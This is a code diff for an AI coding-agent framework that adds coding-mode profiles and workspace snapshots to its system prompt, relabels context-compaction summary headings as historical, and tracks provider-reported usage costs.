+    """Classify a model id into an edit-format family key, or ``None``.
+
+    Used to steer the coding posture toward the edit tool format a model was
+    trained on. Family-agnostic by design: an unrecognised model gets ``None``
+    and the operating brief's neutral edit wording applies.
+    """
+    if not model:
+        return None
+    lowered = model.lower()
+    for family, (needles, _line) in _EDIT_FORMAT_GUIDANCE.items():
+        if any(n in lowered for n in needles):
+            return family
+    return None
+
+
+def _edit_format_line(model: Optional[str]) -> str:
+    """The edit-format guidance line for this model's family (``""`` if none)."""
+    family = _model_family(model)
+    if family is None:
+        return ""
+    return _EDIT_FORMAT_GUIDANCE[family][1]
+
+
+# Operating brief for the coding posture. Tool names referenced here (read_file,
+# search_files, patch, write_file, terminal, todo) are in the coding toolset and
+# in _HERMES_CORE_TOOLS, so they're present on every surface this fires on.
+CODING_AGENT_GUIDANCE = (
+    "You are a coding agent pairing with the user inside their codebase. "
+    "Operate like a careful senior engineer.\n"
+    "\n"
+    "Gather context first:\n"
+    "- Read the relevant files with `read_file` and locate code with "
+    "`search_files` before changing anything. Trace a symbol to its definition "
+    "and usages rather than guessing its shape.\n"
+    "- Batch independent lookups: when several reads/searches don't depend on "
+    "each other, issue them together in one turn instead of one at a time.\n"
+    "- Never invent files, symbols, APIs, or imports. If you haven't seen it in "
+    "the repo, go look. Don't assume a library is available — check the project "
+    "manifest (pyproject.toml / package.json / Cargo.toml / go.mod) and how "
+    "neighbouring files import it.\n"
+    "\n"
+    "Make changes through the tools, not the chat:\n"
+    "- Edit with `patch`/`write_file`. Do NOT print code blocks to the user as "
+    "a substitute for editing — apply the change, then summarise it. Only show "
+    "code when the user explicitly asks to see it.\n"
+    "- Match the project's existing style and conventions; AGENTS.md / "
+    "CLAUDE.md / .cursorrules already in context win over your defaults. Touch "
+    "only what the task needs — no drive-by refactors, renames, or reformatting "
+    "— and add any imports/dependencies your code requires.\n"
+    "- If an edit fails to apply, re-read the file to get the current exact "
+    "contents before retrying — don't repeat a stale patch. If the same region "
+    "fails twice, rewrite the enclosing function or file with `write_file` "
+    "instead of attempting a third patch.\n"
+    "\n"
+    "Verify, and know when to stop:\n"
+    "- Use `terminal` for git, builds, tests, and inspection. Run the relevant "
+    "tests/linter/build and confirm they pass before claiming the work is done.\n"
+    "- Terminal state persists across calls: current directory and exported "
+    "environment variables carry forward. Activate a virtualenv or export setup "
+    "vars once, then reuse that state instead of re-sourcing it before every "
+    "test command.\n"
+    "- Fix root causes, not symptoms: when you find a bug, check sibling call "
+    "paths for the same flaw and fix the class, not just the reported site.\n"
+    "- When fixing linter/type errors on a file, stop after about three "
+    "attempts on the same file and ask the user rather than looping.\n"
+    "- Track multi-step work with `todo`. Reference code as `path:line` instead "
+    "of pasting whole files.\n"
+    "\n"
+    "Respect the user's repo: don't commit, push, or rewrite history unless "
+    "asked, and never read, print, or commit secrets — leave `.env` and "
+    "credential files alone unless the user explicitly asks. The Workspace "
+    "block below is a snapshot from session start — re-run `git status`/"
+    "`git branch` before relying on it. Be concise: lead with the change or "
+    "answer, not a preamble."
+)
+
+
+# ── Context profiles (declarative posture definitions) ──────────────────────
+
+
+@dataclass(frozen=True)
+class ContextProfile:
+    """A named operating posture. Pure data — consumers read these fields.
+
+    ``toolset``      — collapse to this toolset (+ enabled MCP) when no explicit
+                       selection is pinned; ``None`` keeps the platform default.
+    ``guidance``     — operating brief injected into the stable system prompt;
+                       ``""`` injects nothing.
+    ``model_hint``   — routing preference key for smart model routing
+                       (extension seam; not yet consumed by the router).
+    ``memory_policy``— memory namespace/weighting hint (extension seam).
+    ``compact_skill_categories`` — skill categories DEMOTED to names-only in
+                       the system-prompt skill index under the opt-in ``focus``
+                       mode. Never hidden: every skill name stays visible
+                       (so memory-anchored recall keeps working) — only the
+                       descriptions are dropped to cut index noise. Deny-list
+                       semantics so unknown/custom categories keep full
+                       entries.
+    """
+
+    name: str
+    toolset: Optional[str] = None
+    guidance: str = ""
+    model_hint: Optional[str] = None
+    memory_policy: str = "default"
+    compact_skill_categories: tuple[str, ...] = ()
+
+
+# Skill categories that are clearly not part of a coding workflow. Demoted to
+# names-only in the prompt's skill index under the opt-in ``focus`` mode only
+# (deny-list — anything not listed here, incl. custom user categories, keeps
+# full entries). Coding-adjacent categories (devops, github, mcp,
+# data-science, diagramming, research, security, …) are intentionally absent.
+_NON_CODING_SKILL_CATEGORIES = (
+    "apple", "communication", "cooking", "creative", "email", "finance",
+    "gaming", "gifs", "health", "media", "music", "note-taking",
+    "productivity", "shopping", "smart-home", "social-media", "travel",
+    "yuanbao",
+)
+
+
+GENERAL_PROFILE = ContextProfile(name="general")
+CODING_PROFILE = ContextProfile(
+    name="coding",
+    toolset=CODING_TOOLSET,
+    guidance=CODING_AGENT_GUIDANCE,
+    model_hint="coding",
+    memory_policy="project",
+    compact_skill_categories=_NON_CODING_SKILL_CATEGORIES,
+)
+
+_PROFILES: dict[str, ContextProfile] = {
+    GENERAL_PROFILE.name: GENERAL_PROFILE,
+    CODING_PROFILE.name: CODING_PROFILE,
+}
+
+
+def get_profile(name: str) -> ContextProfile:
+    """Return a registered profile, falling back to ``general``."""
+    return _PROFILES.get(name, GENERAL_PROFILE)
+
+
+# ── Helpers ─────────────────────────────────────────────────────────────────
+
+
+def _coding_mode(config: Optional[dict[str, Any]]) -> str:
+    """Return the normalized ``agent.coding_context`` mode (auto/focus/on/off)."""
+    if config is None:
+        try:
+            from hermes_cli.config import load_config
+
+            config = load_config()
+        except Exception:
+            config = {}
+    raw = ((config or {}).get("agent", {}) or {}).get("coding_context", "auto")
+    mode = str(raw).strip().lower()
+    if mode in {"focus", "strict", "lean"}:
+        return "focus"
+    if mode in {"on", "true", "yes", "1", "always"}:
+        return "on"
+    if mode in {"off", "false", "no", "0", "never"}:
+        return "off"
+    return "auto"
+
+
+def _resolve_cwd(cwd: Optional[str | Path]) -> Path:
+    if cwd:
+        return Path(cwd).expanduser()
+    try:
+        from agent.runtime_cwd import resolve_agent_cwd
+
+        return resolve_agent_cwd()
+    except Exception:
+        return Path(os.getcwd())
+
+
+def _git_root(cwd: Path) -> Optional[Path]:
+    current = cwd.resolve()
+    for parent in [current, *current.parents]:
+        if (parent / ".git").exists():
+            return parent
+    return None
+
+
+def _home() -> Optional[Path]:
+    try:
+        return Path.home().resolve()
+    except (OSError, RuntimeError):
+        return None
+
+
+def _marker_root(cwd: Path) -> Optional[Path]:
+    """Nearest ancestor that looks like a project root, or ``None``.
+
+    Walks up at most a few levels so a manifest in the workspace root counts
+    even when the user is in a subdirectory. ``$HOME`` itself is skipped — a
+    Makefile or AGENTS.md sitting in the home directory is global user config,
+    not a project-root signal.
+    """
+    current = cwd.resolve()
+    home = _home()
+    for depth, parent in enumerate([current, *current.parents]):
+        if depth > 6:
+            break
+        if parent == home:
+            continue
+        for marker in _PROJECT_MARKERS:
+            if (parent / marker).exists():
+                return parent
+    return None
+
+
+def _detect_profile_name(mode: str, platform: str, cwd_str: str) -> str:
+    """Resolve which profile applies.
+
+    ``auto``/``focus``: coding when the surface is interactive AND the cwd is a
+    code workspace (a git repo or a recognised project root). ``on``: always
+    coding. ``off``: always general.
+
+    A git repo rooted at ``$HOME`` (the dotfiles pattern) is NOT a workspace
+    signal — without the guard, every session anywhere under a dotfiles-managed
+    home directory would silently flip to the coding posture.
+
+    Detection is intentionally not memoized: it's a handful of ``stat`` calls,
+    and callers resolve the mode once per session anyway. Caching here would
+    risk a stale posture if a long-lived process (gateway/TUI) serves sessions
+    from different working directories.
+    """
+    if mode == "off":
+        return GENERAL_PROFILE.name
+    if mode == "on":
+        return CODING_PROFILE.name
+    if platform and platform.strip().lower() not in INTERACTIVE_CODING_PLATFORMS:
+        return GENERAL_PROFILE.name
+    cwd = Path(cwd_str)
+    git_root = _git_root(cwd)
+    if git_root is not None and git_root == _home():
+        git_root = None  # dotfiles repo at $HOME — not a code workspace
+    if git_root is not None or _marker_root(cwd) is not None:
+        return CODING_PROFILE.name
+    return GENERAL_PROFILE.name
+
+
+# ── RuntimeMode (the seam) ──────────────────────────────────────────────────
+
+
+@dataclass(frozen=True)
+class RuntimeMode:
+    """The resolved operating posture for a session. Immutable by construction.
+
+    Built once via :func:`resolve_runtime_mode` and consumed by every domain
+    that cares about the coding/general distinction. Never mutate or re-resolve
+    mid-session — that would break the prompt cache.
+    """
+
+    profile: ContextProfile
+    surface: str
+    cwd: Path
+    # The normalized ``agent.coding_context`` mode this posture was resolved
+    # under (auto/focus/on/off). Toolset collapse is gated on ``focus``.
+    config_mode: str = "auto"
+    # The model id this session runs (e.g. "anthropic/claude-opus-4.8"). Used
+    # only to steer edit-format guidance toward the model's family — see
+    # ``_edit_format_line``. Fixed for the session, so cache-safe.
+    model: Optional[str] = None
+
+    @property
+    def kind(self) -> str:
+        return self.profile.name
+
+    @property
+    def is_coding(self) -> bool:
+        return self.profile.name == CODING_PROFILE.name
+
+    def toolset_selection(self, config: Optional[dict[str, Any]] = None) -> Optional[list[str]]:
+        """Toolset list for this posture, or ``None`` to keep the platform default.
+
+        Non-``None`` only under the opt-in ``focus`` mode. The default posture
+        is prompt-only: most strippable toolsets are off-by-default anyway, and
+        a user who explicitly enabled one (image-gen for frontend/game assets,
+        messaging for build notifications, …) keeps it while coding.
+
+        Callers apply this only when the user hasn't pinned an explicit
+        selection (``--toolsets``, ``HERMES_TUI_TOOLSETS``, …); they never
+        override a pin. Returns the profile's toolset plus enabled MCP servers.
+        """
+        if self.config_mode != "focus":
+            return None
+        if self.profile.toolset is None:
+            return None
+        return [self.profile.toolset, *_enabled_mcp_servers(config)]
+
+    def system_blocks(self) -> list[str]:
+        """Stable system-prompt blocks for this posture (brief + workspace).
+
+        The operating brief carries a model-family edit-format nudge appended
+        to it (one cached string, not a separate block) so the model is steered
+        toward the `patch` mode it handles best — see ``_edit_format_line``.
+        """
+        if not self.is_coding:
+            return []
+        blocks: list[str] = []
+        if self.profile.guidance:
+            brief = self.profile.guidance
+            edit_line = _edit_format_line(self.model)
+            if edit_line:
+                brief = f"{brief}\n{edit_line}"
+            blocks.append(brief)
+        workspace = build_coding_workspace_block(self.cwd)
+        if workspace:
+            blocks.append(workspace)
+        return blocks
+
+    def compact_skill_categories(self) -> frozenset[str]:
+        """Skill categories to demote to names-only in the prompt's skill index.
+
+        Gated on the opt-in ``focus`` mode, like the toolset collapse: the
+        default posture leaves the skill index untouched. Users who didn't ask
+        for a lean prompt keep full entries for every category — index changes
+        under ``auto`` proved too surprising in practice, even names-only ones
+        (a demoted description is information the model no longer weighs when
+        deciding what to load).
+
+        Demoted — never hidden — even under ``focus``. An earlier revision
+        fully pruned these categories from the index, which caused silent
+        capability loss in a real workflow: agent-created skills are the
+        model's accumulated project memory (server-ops runbooks, learned
+        pitfalls, …), and models do not reliably reach for ``skills_list`` to
+        rediscover what the index stopped showing them. Names-only keeps every
+        skill loadable on recall while still cutting the description noise.
+        """
+        if not self.is_coding or self.config_mode != "focus":
+            return frozenset()
+        return frozenset(self.profile.compact_skill_categories)
+
+
+def resolve_runtime_mode(
+    *,
+    platform: Optional[str] = None,
+    cwd: Optional[str | Path] = None,
+    config: Optional[dict[str, Any]] = None,
+    model: Optional[str] = None,
+) -> RuntimeMode:
+    """Resolve the operating posture once. Cheap — a handful of ``stat`` calls.
+
+    This is the single entry point every domain should call. The returned
+    object is immutable and safe to cache for the session. Detection itself is
+    intentionally *not* memoized (see ``_detect_profile_name``) so a long-lived
+    process can't pin a stale posture; callers resolve once per session and
+    hold the result. ``model`` is recorded only to steer edit-format guidance;
+    it never affects detection.
+    """
+    resolved_cwd = _resolve_cwd(cwd)
+    mode = _coding_mode(config)
+    name = _detect_profile_name(
+        mode, (platform or "").strip().lower(), str(resolved_cwd)
+    )
+    return RuntimeMode(
+        profile=get_profile(name),
+        surface=platform or "",
+        cwd=resolved_cwd,
+        config_mode=mode,
+        model=model,
+    )
+
+
+# ── Back-compat surface (thin wrappers over RuntimeMode) ────────────────────
+
+
+def is_coding_context(
+    *,
+    platform: Optional[str] = None,
+    cwd: Optional[str | Path] = None,
+    config: Optional[dict[str, Any]] = None,
+) -> bool:
+    """Whether Hermes should operate in its coding posture right now."""
+    return resolve_runtime_mode(platform=platform, cwd=cwd, config=config).is_coding
+
+
+def coding_selection(
+    *,
+    platform: Optional[str] = None,
+    cwd: Optional[str | Path] = None,
+    config: Optional[dict[str, Any]] = None,
+) -> Optional[list[str]]:
+    """Toolset selection for the coding posture.
+
+    ``None`` unless the user opted into ``focus`` mode AND the posture is
+    active — the default coding posture never overrides configured toolsets.
+    """
+    return resolve_runtime_mode(
+        platform=platform, cwd=cwd, config=config
+    ).toolset_selection(config)
+
+
+def coding_system_blocks(
+    *,
+    platform: Optional[str] = None,
+    cwd: Optional[str | Path] = None,
+    config: Optional[dict[str, Any]] = None,
+    model: Optional[str] = None,
+) -> list[str]:
+    """Stable system-prompt blocks for the current posture (empty when general).
+
+    ``model`` steers the brief's edit-format nudge toward the model's family.
+    """
+    return resolve_runtime_mode(
+        platform=platform, cwd=cwd, config=config, model=model
+    ).system_blocks()
+
+
+def coding_compact_skill_categories(
+    *,
+    platform: Optional[str] = None,
+    cwd: Optional[str | Path] = None,
+    config: Optional[dict[str, Any]] = None,
+) -> frozenset[str]:
+    """Skill categories the active posture demotes to names-only in the index.
+
+    Empty outside the coding posture and outside the opt-in ``focus`` mode —
+    the default posture never touches the skill index. Under ``focus``,
+    demoted — never hidden: every skill name stays in the index and remains
+    loadable via ``skill_view`` / ``skills_list``; only descriptions are
+    dropped.
+    """
+    return resolve_runtime_mode(
+        platform=platform, cwd=cwd, config=config
+    ).compact_skill_categories()
+
+
+def _enabled_mcp_servers(config: Optional[dict[str, Any]]) -> list[str]:
+    """Names of MCP servers the user has enabled — kept in the coding posture.
+
+    MCP servers (figma, browser, tophat, …) are explicitly configured and part
+    of the coding workflow, not noise to strip.
+    """
+    try:
+        from hermes_cli.config import read_raw_config
+        from hermes_cli.tools_config import _parse_enabled_flag
+
+        servers = read_raw_config().get("mcp_servers") or {}
+        return [
+            str(name)
+            for name, cfg in servers.items()
+            if isinstance(cfg, dict)
+            and _parse_enabled_flag(cfg.get("enabled", True), default=True)
+        ]
+    except Exception:
+        return []
+
+
+# ── git/workspace probe ─────────────────────────────────────────────────────
+
+
+def _git(cwd: Path, *args: str) -> str:
+    try:
+        out = subprocess.run(
+            ["git", "-C", str(cwd), *args],
+            capture_output=True,
+            text=True,
+            timeout=_GIT_TIMEOUT,
+        )
+    except (OSError, subprocess.SubprocessError):
+        return ""
+    return out.stdout.strip() if out.returncode == 0 else ""
+
+
+def _parse_status(porcelain: str) -> tuple[dict[str, str], dict[str, int]]:
+    """Parse ``git status --porcelain=2 --branch`` into branch + counts."""
+    branch: dict[str, str] = {}
+    counts = {"staged": 0, "modified": 0, "untracked": 0, "conflicts": 0}
+    for line in porcelain.splitlines():
+        if line.startswith("# branch.head"):
+            branch["head"] = line.split(maxsplit=2)[-1]
+        elif line.startswith("# branch.upstream"):
+            branch["upstream"] = line.split(maxsplit=2)[-1]
+        elif line.startswith("# branch.ab"):
+            parts = line.split()
+            branch["ahead"], branch["behind"] = parts[2].lstrip("+"), parts[3].lstrip("-")
+        elif line.startswith(("1 ", "2 ")):
+            xy = line.split(maxsplit=2)[1]
+            if xy[0] != ".":
+                counts["staged"] += 1
+            if xy[1] != ".":
+                counts["modified"] += 1
+        elif line.startswith("u "):
+            counts["conflicts"] += 1
+        elif line.startswith("? "):
+            counts["untracked"] += 1
+    return branch, counts
+
+
+def _read_small(path: Path) -> str:
+    """Read a small text file, or ``""`` — never raises, never reads huge files."""
+    try:
+        if not path.is_file() or path.stat().st_size > _MAX_FACT_FILE_BYTES:
+            return ""
+        return path.read_text(encoding="utf-8", errors="replace")
+    except OSError:
+        return ""
+
+
+def _project_facts(root: Path) -> list[str]:
+    """Detected project facts for the workspace snapshot.
+
+    The point is to hand the model its *verify loop* up front — which manifest,
+    which package manager, and the exact test/lint/build commands — instead of
+    making it rediscover them every session. Cheap: stat calls plus reads of a
+    couple of small files; built once at prompt-build time (cache-safe).
+    """
+    facts: list[str] = []
+
+    manifests = [m for m in _PROJECT_MARKERS if m not in _CONTEXT_FILES and (root / m).is_file()]
+    package_managers = [
+        pm for lock, pm in (*_PY_LOCKFILES, *_JS_LOCKFILES) if (root / lock).is_file()
+    ]
+    if manifests:
+        line = f"- Project: {', '.join(manifests[:6])}"
+        if package_managers:
+            line += f" ({'/'.join(dict.fromkeys(package_managers))})"
+        facts.append(line)
+
+    verify: list[str] = []
+    if (root / "scripts" / "run_tests.sh").is_file():
+        verify.append("scripts/run_tests.sh")
+    if (root / "package.json").is_file():
+        try:
+            scripts = json.loads(_read_small(root / "package.json") or "{}").get("scripts") or {}
+        except (json.JSONDecodeError, AttributeError):
+            scripts = {}
+        js_pm = next((pm for lock, pm in _JS_LOCKFILES if (root / lock).is_file()), "npm")
+        verify.extend(f"{js_pm} run {name}" for name in _VERIFY_TARGETS if name in scripts)
+    if (root / "pytest.ini").is_file() or "[tool.pytest" in _read_small(root / "pyproject.toml"):
+        verify.append("pytest")
+    makefile = _read_small(root / "Makefile")
+    if makefile:
+        verify.extend(
+            f"make {name}" for name in _VERIFY_TARGETS
+            if re.search(rf"^{re.escape(name)}\s*:", makefile, re.MULTILINE)
+        )
+    if verify:
+        deduped = list(dict.fromkeys(verify))[:_MAX_VERIFY_COMMANDS]
+        facts.append(f"- Verify: {'; '.join(deduped)}")
+
+    context_files = [c for c in _CONTEXT_FILES if (root / c).is_file()]
+    if context_files:
+        facts.append(f"- Context files: {', '.join(context_files)}")
+
+    return facts
+
+
+def build_coding_workspace_block(cwd: Optional[str | Path] = None) -> str:
+    """Workspace snapshot for the system prompt (empty outside a workspace).
+
+    Git state (branch/status/commits) when the cwd is in a repo, plus detected
+    project facts (manifest, package manager, verify commands, context files)
+    — so marker-only (non-git) projects still get a snapshot.
+    """
+    resolved = _resolve_cwd(cwd)
+    git_root = _git_root(resolved)
+    root = git_root or _marker_root(resolved)
+    if root is None:
+        return ""
+
+    lines = ["Workspace (snapshot at session start — re-check with `git` before acting on it):"]
+    lines.append(f"- Root: {root}")
+
+    if git_root is not None:
+        branch, counts = _parse_status(_git(root, "status", "--porcelain=2", "--branch"))
+        head = branch.get("head", "")
+        if head and head != "(detached)":
+            line = f"- Branch: {head}"
+            if branch.get("upstream"):
+                line += f" \u2192 {branch['upstream']}"
+                ahead, behind = branch.get("ahead", "0"), branch.get("behind", "0")
+                if ahead != "0" or behind != "0":
+                    line += f" (ahead {ahead}, behind {behind})"
+            lines.append(line)
+        elif head == "(detached)":
+            lines.append("- Branch: (detached HEAD)")
+
+        # Linked worktree: the per-worktree git dir differs from the shared common dir.
+        # We surface the fact that it's a worktree (so the model knows branches/stashes
+        # are shared state) but deliberately do NOT expose the primary tree path —
+        # giving the model a second absolute path causes it to sometimes run commands
+        # in the wrong directory.
+        git_dir, common_dir = _git(root, "rev-parse", "--git-dir"), _git(root, "rev-parse", "--git-common-dir")
+        if git_dir and common_dir and Path(git_dir).resolve() != Path(common_dir).resolve():
+            lines.append("- Worktree: linked (git state shared with primary tree)")
+
+        dirty = [f"{n} {label}" for label, n in (
+            ("staged", counts["staged"]), ("modified", counts["modified"]),
+            ("untracked", counts["untracked"]), ("conflicts", counts["conflicts"]),
+        ) if n]
+        lines.append(f"- Status: {', '.join(dirty) if dirty else 'clean'}")
+
+        recent = _git(root, "log", "-3", "--pretty=%h %s")
+        if recent:
+            lines.append("- Recent commits:")
+            lines.extend(f"    {c}" for c in recent.splitlines())
+
+    lines.extend(_project_facts(root))
+    return "\n".join(lines)

agent/context_compressor.py

@@ -7,7 +7,7 @@ protecting head and tail context.
 Improvements over v2:
   - Structured summary template with Resolved/Pending question tracking
   - Filter-safe summarizer preamble that treats prior turns as source material
-  - "Remaining Work" replaces "Next Steps" to avoid reading as active instructions
+  - Historical (reference-only) section headings replace "Next Steps"/"Remaining Work" to avoid reading as active instructions
   - Clear separator when summary merges into tail message
   - Iterative summary updates (preserves info across multiple compactions)
   - Token-budget tail protection instead of fixed message count
@@ -34,7 +34,50 @@ from agent.redact import redact_sensitive_text
 
 logger = logging.getLogger(__name__)
 
+HISTORICAL_TASK_HEADING = "## Historical Task Snapshot"
+HISTORICAL_IN_PROGRESS_HEADING = "## Historical In-Progress State"
+HISTORICAL_PENDING_ASKS_HEADING = "## Historical Pending User Asks"
+HISTORICAL_REMAINING_WORK_HEADING = "## Historical Remaining Work"
+
+
 SUMMARY_PREFIX = (
+    "[CONTEXT COMPACTION — REFERENCE ONLY] Earlier turns were compacted "
+    "into the summary below. This is a handoff from a previous context "
+    "window — treat it as background reference, NOT as active instructions. "
+    "Do NOT answer questions or fulfill requests mentioned in this summary; "
+    "they were already addressed. "
+    "Respond ONLY to the latest user message that appears AFTER this "
+    "summary — that message is the single source of truth for what to do "
+    "right now. "
+    "Topic overlap with the summary does NOT mean you should resume its "
+    "task: even on similar topics, the latest user message WINS. Treat ONLY "
+    "the latest message as the active task and discard stale items from "
+    f"'{HISTORICAL_TASK_HEADING}' / '{HISTORICAL_IN_PROGRESS_HEADING}' / "
+    f"'{HISTORICAL_PENDING_ASKS_HEADING}' / "
+    f"'{HISTORICAL_REMAINING_WORK_HEADING}' entirely — do not 'wrap up' or "
+    "'finish' work described there unless the latest message explicitly "
+    "asks for it. "
+    "Reverse signals in the latest message (e.g. 'stop', 'undo', 'roll "
+    "back', 'just verify', 'don't do that anymore', 'never mind', a new "
+    "topic) must immediately end any in-flight work described in the "
+    "summary; do not re-surface it in later turns. "
+    "IMPORTANT: Your persistent memory (MEMORY.md, USER.md) in the system "
+    "prompt is ALWAYS authoritative and active — never ignore or deprioritize "
+    "memory content due to this compaction note. "
+    "The current session state (files, config, etc.) may reflect work "
+    "described here — avoid repeating it:"
+)
+LEGACY_SUMMARY_PREFIX = "[CONTEXT SUMMARY]:"
+
+# Handoff prefixes that shipped in earlier releases. A summary persisted under
+# one of these can be inherited into a resumed lineage (#35344); when it is
+# re-normalized on re-compaction we must strip the OLD prefix too, otherwise the
+# stale directive it carried (e.g. "resume exactly from Active Task") survives
+# embedded in the body and keeps hijacking replies. Keep newest-first; entries
+# are matched literally. Add a frozen copy here whenever SUMMARY_PREFIX changes.
+_HISTORICAL_SUMMARY_PREFIXES = (
+    # Carveout era (#41607/#38364/#42812): "consistent → use as background"
+    # licensed stale-task resumption on topic overlap.
     "[CONTEXT COMPACTION — REFERENCE ONLY] Earlier turns were compacted "
     "into the summary below. This is a handoff from a previous context "
     "window — treat it as background reference, NOT as active instructions. "
@@ -57,17 +100,7 @@ SUMMARY_PREFIX = (
     "prompt is ALWAYS authoritative and active — never ignore or deprioritize "
     "memory content due to this compaction note. "
     "The current session state (files, config, etc.) may reflect work "
-    "described here — avoid repeating it:"
-)
-LEGACY_SUMMARY_PREFIX = "[CONTEXT SUMMARY]:"
-
-# Handoff prefixes that shipped in earlier releases. A summary persisted under
-# one of these can be inherited into a resumed lineage (#35344); when it is
-# re-normalized on re-compaction we must strip the OLD prefix too, otherwise the
-# stale directive it carried (e.g. "resume exactly from Active Task") survives
-# embedded in the body and keeps hijacking replies. Keep newest-first; entries
-# are matched literally. Add a frozen copy here whenever SUMMARY_PREFIX changes.
-_HISTORICAL_SUMMARY_PREFIXES = (
+    "described here — avoid repeating it:",
     # Pre-#35344: contained the self-contradicting "resume exactly" directive.
     "[CONTEXT COMPACTION — REFERENCE ONLY] Earlier turns were compacted "
     "into the summary below. This is a handoff from a previous context "
@@ -1155,7 +1188,7 @@ class ContextCompressor(ContextEngine):
             )
 
         reason_text = f" Summary failure reason: {reason}." if reason else ""
-        body = f"""## Active Task
+        body = f"""{HISTORICAL_TASK_HEADING}
 {active_task}
 
 ## Goal
@@ -1172,7 +1205,7 @@ Recovered from a deterministic fallback because the LLM context summarizer was u
 ## Active State
 Unknown from deterministic fallback. Inspect current repository/session state if needed.
 
-## In Progress
+{HISTORICAL_IN_PROGRESS_HEADING}
 {active_task}
 
 ## Blocked
@@ -1184,13 +1217,13 @@ None recoverable from deterministic fallback.
 ## Resolved Questions
 None recoverable from deterministic fallback.
 
-## Pending User Asks
+{HISTORICAL_PENDING_ASKS_HEADING}
 {active_task}
 
 ## Relevant Files
 {_bullets(relevant_files, limit=12)}
 
-## Remaining Work
+{HISTORICAL_REMAINING_WORK_HEADING}
 Continue from the most recent unfulfilled user ask and protected tail messages. Verify state with tools before making claims.
 
 ## Last Dropped Turns
@@ -1312,7 +1345,7 @@ Summary generation was unavailable, so this is a best-effort deterministic fallb
             _temporal_anchoring_rule = ""
 
         # Shared structured template (used by both paths).
-        _template_sections = f"""## Active Task
+        _template_sections = f"""{HISTORICAL_TASK_HEADING}
 [THE SINGLE MOST IMPORTANT FIELD. Capture the user's most recent unfulfilled
 input verbatim — the exact words they used. This includes:
 - Explicit task assignments ("refactor the auth module")
@@ -1359,7 +1392,7 @@ Be specific with file paths, commands, line numbers, and results.]
 - Any running processes or servers
 - Environment details that matter]
 
-## In Progress
+{HISTORICAL_IN_PROGRESS_HEADING}
 [Work currently underway — what was being done when compaction fired]
 
 ## Blocked
@@ -1371,14 +1404,14 @@ Be specific with file paths, commands, line numbers, and results.]
 ## Resolved Questions
 [Questions the user asked that were ALREADY answered — include the answer so it is not repeated]
 
-## Pending User Asks
-[Questions or requests from the user that have NOT yet been answered or fulfilled. If none, write "None."]
+{HISTORICAL_PENDING_ASKS_HEADING}
+[Questions or requests from the user that have NOT yet been answered or fulfilled. These are STALE — they were from the compacted turns. Write them here for reference only. The agent must NOT act on them unless the latest user message explicitly requests it. If none, write "None."]
 
 ## Relevant Files
 [Files read, modified, or created — with brief note on each]
 
-## Remaining Work
-[What remains to be done — framed as context, not instructions]
+{HISTORICAL_REMAINING_WORK_HEADING}
+[What remains to be done — framed as STALE context for reference only. The agent must NOT resume this work unless the latest user message explicitly asks for it.]
 
 ## Critical Context
 [Any specific values, error messages, configuration details, or data that would be lost without explicit preservation. NEVER include API keys, tokens, passwords, or credentials — write [REDACTED] instead.]
@@ -1753,7 +1786,7 @@ The user has requested that this compaction PRIORITISE preserving all informatio
         Context compressor bug (#10896): ``_align_boundary_backward`` can pull
         ``cut_idx`` past a user message when it tries to keep tool_call/result
         groups together.  If the last user message ends up in the *compressed*
-        middle region the LLM summariser writes it into "Pending User Asks",
+        middle region the LLM summariser writes it into "Historical Pending User Asks",
         but ``SUMMARY_PREFIX`` tells the next model to respond only to user
         messages *after* the summary — so the task effectively disappears from
         the active context, causing the agent to stall, repeat completed work,

agent/conversation_loop.py

@@ -57,7 +57,11 @@ from agent.process_bootstrap import _install_safe_stdio
 from agent.prompt_caching import apply_anthropic_cache_control
 from agent.retry_utils import jittered_backoff
 from agent.trajectory import has_incomplete_scratchpad
-from agent.usage_pricing import estimate_usage_cost, normalize_usage
+from agent.usage_pricing import (
+    estimate_usage_cost,
+    extract_provider_cost_usd,
+    normalize_usage,
+)
 from hermes_constants import PARTIAL_STREAM_STUB_ID
 from hermes_logging import set_session_context
 from tools.skill_provenance import set_current_write_origin
@@ -1633,6 +1637,37 @@ def run_conversation(
                     agent.session_cost_status = cost_result.status
                     agent.session_cost_source = cost_result.source
 
+                    # ── Real provider-REPORTED cost (never estimated) ──
+                    # OpenRouter usage accounting returns ``usage.cost`` on the
+                    # response when the request carries usage:{include:true}
+                    # (added on OpenRouter routes). When the provider reports
+                    # nothing, this stays None — absent, NOT zero — so cost
+                    # displays hide instead of showing a fabricated $0.00.
+                    reported_cost_usd = extract_provider_cost_usd(response.usage)
+                    if reported_cost_usd is not None:
+                        _prev_actual = getattr(agent, "session_actual_cost_usd", None)
+                        agent.session_actual_cost_usd = (_prev_actual or 0.0) + reported_cost_usd
+                        agent.session_cost_status = "actual"
+                        agent.session_cost_source = "provider_cost_api"
+
+                    # Per-model session breakdown for /usage — counts are always
+                    # real; cost_usd only accumulates provider-reported values
+                    # and stays None when the provider reports nothing.
+                    _model_usage = getattr(agent, "session_model_usage", None)
+                    if _model_usage is None:
+                        _model_usage = agent.session_model_usage = {}
+                    _mrow = _model_usage.setdefault(agent.model, {
+                        "calls": 0, "input": 0, "output": 0,
+                        "cache_read": 0, "cache_write": 0, "cost_usd": None,
+                    })
+                    _mrow["calls"] += 1
+                    _mrow["input"] += canonical_usage.input_tokens
+                    _mrow["output"] += canonical_usage.output_tokens
+                    _mrow["cache_read"] += canonical_usage.cache_read_tokens
+                    _mrow["cache_write"] += canonical_usage.cache_write_tokens
+                    if reported_cost_usd is not None:
+                        _mrow["cost_usd"] = (_mrow["cost_usd"] or 0.0) + reported_cost_usd
+
                     # Persist token counts to session DB for /insights.
                     # Do this for every platform with a session_id so non-CLI
                     # sessions (gateway, cron, delegated runs) cannot lose
@@ -1659,8 +1694,14 @@ def run_conversation(
                                 reasoning_tokens=canonical_usage.reasoning_tokens,
                                 estimated_cost_usd=float(cost_result.amount_usd)
                                 if cost_result.amount_usd is not None else None,
-                                cost_status=cost_result.status,
-                                cost_source=cost_result.source,
+                                # Provider-reported per-call cost delta. NULL
+                                # (not 0) when the provider reported nothing —
+                                # the SQL CASE keeps actual_cost_usd untouched.
+                                actual_cost_usd=reported_cost_usd,
+                                cost_status="actual"
+                                if reported_cost_usd is not None else cost_result.status,
+                                cost_source="provider_cost_api"
+                                if reported_cost_usd is not None else cost_result.source,
                                 billing_provider=agent.provider,
                                 billing_base_url=agent.base_url,
                                 billing_mode="subscription_included"
@@ -2221,30 +2262,54 @@ def run_conversation(
                     print(f"{agent.log_prefix}     • Legacy cleanup: hermes config set ANTHROPIC_TOKEN \"\"")
                     print(f"{agent.log_prefix}     • Clear stale keys: hermes config set ANTHROPIC_API_KEY \"\"")
 
